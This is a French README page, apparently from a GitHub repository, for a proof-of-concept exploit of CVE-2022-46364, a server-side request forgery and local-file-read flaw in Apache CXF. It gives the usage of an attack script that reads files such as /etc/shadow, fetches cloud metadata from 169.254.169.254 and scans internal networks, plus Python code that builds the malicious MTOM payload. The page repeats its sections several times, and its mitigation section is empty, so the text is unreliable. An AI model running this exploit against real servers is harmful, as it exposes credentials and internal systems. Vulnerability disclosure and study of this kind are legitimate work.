CVE-2022-46364 : Exploitation SSRF vers LFI via XOP:Include dans Apache CXF MTOM

⚠️ AVERTISSEMENT

CET OUTIL EST UNIQUEMENT DESTINÉ À DES TESTS DE SÉCURITÉ ÉDUCATIFS ET AUTORISÉS

Ce proof-of-concept est fourni à des fins éducatives pour aider les professionnels de la sécurité à comprendre la vulnérabilité et à protéger leurs systèmes. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'effectuer des tests. En utilisant cet outil, vous acceptez de vous conformer à toutes les lois applicables.

📌 APERÇU

Attribut	Valeur
CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
Type de vulnérabilité	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Logiciel concerné	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Sévérité	Critique
Score CVSS	9.8 (Critique)
Vecteur d'attaque	Réseau
Authentification	Aucune requise
Versions corrigées	Apache CXF 3.5.5+, 3.4.10+

Cet exploit exploite une vulnérabilité SSRF critique dans l'implémentation MTOM (Message Transmission Optimization Mechanism) d'Apache CXF pour parvenir à une inclusion de fichiers locaux (LFI) et à des capacités de scan réseau interne.

🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

Apache CXF valide incorrectement l'attribut href dans les éléments xop:Include lors du traitement des messages SOAP encodés en MTOM. La bibliothèque utilise URLConnection de Java pour déréférencer l'URI sans restrictions de protocole appropriées, permettant aux attaquants de spécifier :

file:// - Lire des fichiers locaux (LFI)
http:// / https:// - Requêtes réseau internes (SSRF)
ftp:// - Requêtes FTP (potentiel d'exploitation supplémentaire)

Pourquoi c'est important

Cette vulnérabilité est particulièrement dangereuse car :

Aucune authentification requise - Les attaquants peuvent cibler tout point de terminaison SOAP accessible
Aucun privilège spécial nécessaire - Le serveur exécute les requêtes avec ses propres privilèges
Divulgation d'informations - Peut exposer les métadonnées cloud (AWS, GCP, Azure), les fichiers de configuration et le code source
Pivot réseau - Le serveur vulnérable devient un proxy pour la reconnaissance réseau interne

Configurations concernées

Tout déploiement Apache CXF qui :

Accepte les messages SOAP encodés en MTOM
Possède au moins une méthode de service web avec un paramètre (de n'importe quel type)
Utilise des versions antérieures à la 3.5.5 (branche principale) ou 3.4.10 (branche legacy)

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

MTOM (Message Transmission Optimization Mechanism) est une norme W3C pour optimiser la transmission de données binaires dans les messages SOAP. Elle utilise XOP (XML-binary Optimized Packaging) pour inclure des références de données binaires :

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normalement, href contient une référence CID (Content-ID) vers une partie MIME. Cependant, la classe AttachmentUtil d'Apache CXF traite les valeurs href comme des URI génériques sans désinfection appropriée.

Le chemin de code vulnérable

Analyse de la requête :
- CXF reçoit une requête HTTP multipart/related avec Content-Type: application/xop+xml
- AttachmentUtil.getAttachmentObject() traite les éléments xop:Include
Déréférencement de l'URI :
- La méthode vulnérable appelle new URL(href).openStream() directement
- Aucun blocage du protocole file:// n'est effectué
- Aucune restriction réseau (par exemple, aucune validation contre les plages IP internes)
Incorporation de la réponse :
- Le contenu récupéré est encodé en Base64 et intégré dans la réponse SOAP
- L'attaquant reçoit les données dans l'enveloppe SOAP

Extrait de code (modèle vulnérable)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Pourquoi LFI fonctionne

Le protocole file:// suit le même chemin de code :

file:///etc/passwd → Java ouvre /etc/passwd en tant que flux de fichier
Le contenu du fichier est renvoyé comme pièce jointe
Aucune restriction de système de fichiers au-delà des permissions de l'utilisateur du processus CXF

Capacité de scan réseau

En itérant sur les IP et les ports, les attaquants peuvent :

Découvrir des services internes
Accéder aux points de terminaison de métadonnées cloud (169.254.169.254)
Contourner les contrôles de segmentation réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Explication des arguments

Argument	Description	Exemple
`-t, --target`	Obligatoire. URL de base du service Apache CXF cible	`http://10.10.10.50:8080`
`-e, --endpoint`	Optionnel. Chemin du point de terminaison SOAP	`/services/UserManagement`
`-u, --url`	URL HTTP/HTTPS à récupérer via SSRF	`http://169.254.169.254/latest/user-data`
`-f, --file`	Chemin de fichier local à lire via LFI	`/etc/shadow`, `C:\ProgramData\secret.txt`

📦 INSTALLATION ET PRÉREQUIS

Prérequis

# Python 3.6 ou supérieur requis
python --version

Étapes d'installation

# Clonez le dépôt
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0


---



### Détails d'implémentation du cœur

#### 1. Construction de la charge utile MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MESURES D'ATTÉNUATION

CVE-2022-46364 : Exploitation SSRF vers LFI via XOP:Include dans Apache CXF MTOM

⚠️ AVERTISSEMENT

CET OUTIL EST UNIQUEMENT DESTINÉ À DES TESTS DE SÉCURITÉ ÉDUCATIFS ET AUTORISÉS

📋 TABLE DES MATIÈRES

Aperçu
Détails de la vulnérabilité
Analyse technique approfondie
Utilisation de l'exploit
Installation et prérequis
Mesures d'atténuation
Références et crédits

📌 APERÇU

Attribut	Valeur
CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
Type de vulnérabilité	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Logiciel concerné	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Sévérité	Critique
Score CVSS	9.8 (Critique)
Vecteur d'attaque	Réseau
Authentification	Aucune requise
Versions corrigées	Apache CXF 3.5.5+, 3.4.10+

🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

file:// - Lire des fichiers locaux (LFI)
http:// / https:// - Requêtes réseau internes (SSRF)
ftp:// - Requêtes FTP (potentiel d'exploitation supplémentaire)

Pourquoi c'est important

Cette vulnérabilité est particulièrement dangereuse car :

Aucune authentification requise - Les attaquants peuvent cibler tout point de terminaison SOAP accessible
Aucun privilège spécial nécessaire - Le serveur exécute les requêtes avec ses propres privilèges
Divulgation d'informations - Peut exposer les métadonnées cloud (AWS, GCP, Azure), les fichiers de configuration et le code source
Pivot réseau - Le serveur vulnérable devient un proxy pour la reconnaissance réseau interne

Configurations concernées

Tout déploiement Apache CXF qui :

Accepte les messages SOAP encodés en MTOM
Possède au moins une méthode de service web avec un paramètre (de n'importe quel type)
Utilise des versions antérieures à la 3.5.5 (branche principale) ou 3.4.10 (branche legacy)

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Le chemin de code vulnérable

Analyse de la requête :
- CXF reçoit une requête HTTP multipart/related avec Content-Type: application/xop+xml
- AttachmentUtil.getAttachmentObject() traite les éléments xop:Include
Déréférencement de l'URI :
- La méthode vulnérable appelle new URL(href).openStream() directement
- Aucun blocage du protocole file:// n'est effectué
- Aucune restriction réseau (par exemple, aucune validation contre les plages IP internes)
Incorporation de la réponse :
- Le contenu récupéré est encodé en Base64 et intégré dans la réponse SOAP
- L'attaquant reçoit les données dans l'enveloppe SOAP

Extrait de code (modèle vulnérable)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Pourquoi LFI fonctionne

Le protocole file:// suit le même chemin de code :

file:///etc/passwd → Java ouvre /etc/passwd en tant que flux de fichier
Le contenu du fichier est renvoyé comme pièce jointe
Aucune restriction de système de fichiers au-delà des permissions de l'utilisateur du processus CXF

Capacité de scan réseau

En itérant sur les IP et les ports, les attaquants peuvent :

Découvrir des services internes
Accéder aux points de terminaison de métadonnées cloud (169.254.169.254)
Contourner les contrôles de segmentation réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Explication des arguments

Argument	Description	Exemple
`-t, --target`	Obligatoire. URL de base du service Apache CXF cible	`http://10.10.10.50:8080`
`-e, --endpoint`	Optionnel. Chemin du point de terminaison SOAP	`/services/UserManagement`
`-u, --url`	URL HTTP/HTTPS à récupérer via SSRF	`http://169.254.169.254/latest/user-data`
`-f, --file`	Chemin de fichier local à lire via LFI	`/etc/shadow`, `C:\ProgramData\secret.txt`

📦 INSTALLATION ET PRÉREQUIS

Prérequis

# Python 3.6 ou supérieur requis
python --version

Étapes d'installation

# Clonez le dépôt
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0


---



### Détails d'implémentation du cœur

#### 1. Construction de la charge utile MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

CVE-2022-46364-Proof-of-the-concept

Populaires

À propos

CVE-2022-46364 : Exploitation SSRF vers LFI via XOP:Include dans Apache CXF MTOM

⚠️ AVERTISSEMENT

📋 TABLE DES MATIÈRES

📌 APERÇU

🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

Pourquoi c'est important

Configurations concernées

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

Le chemin de code vulnérable

Extrait de code (modèle vulnérable)

Pourquoi LFI fonctionne

Capacité de scan réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

Explication des arguments

📦 INSTALLATION ET PRÉREQUIS

Prérequis

Étapes d'installation

🛡️ MESURES D'ATTÉNUATION

CVE-2022-46364-Proof-of-the-concept

Populaires

À propos

CVE-2022-46364 : Exploitation SSRF vers LFI via XOP:Include dans Apache CXF MTOM

⚠️ AVERTISSEMENT

📋 TABLE DES MATIÈRES

📌 APERÇU

🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

Pourquoi c'est important

Configurations concernées

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

Le chemin de code vulnérable

Extrait de code (modèle vulnérable)

Pourquoi LFI fonctionne

Capacité de scan réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

Explication des arguments

📦 INSTALLATION ET PRÉREQUIS

Prérequis

Étapes d'installation

🛡️ MESURES D'ATTÉNUATION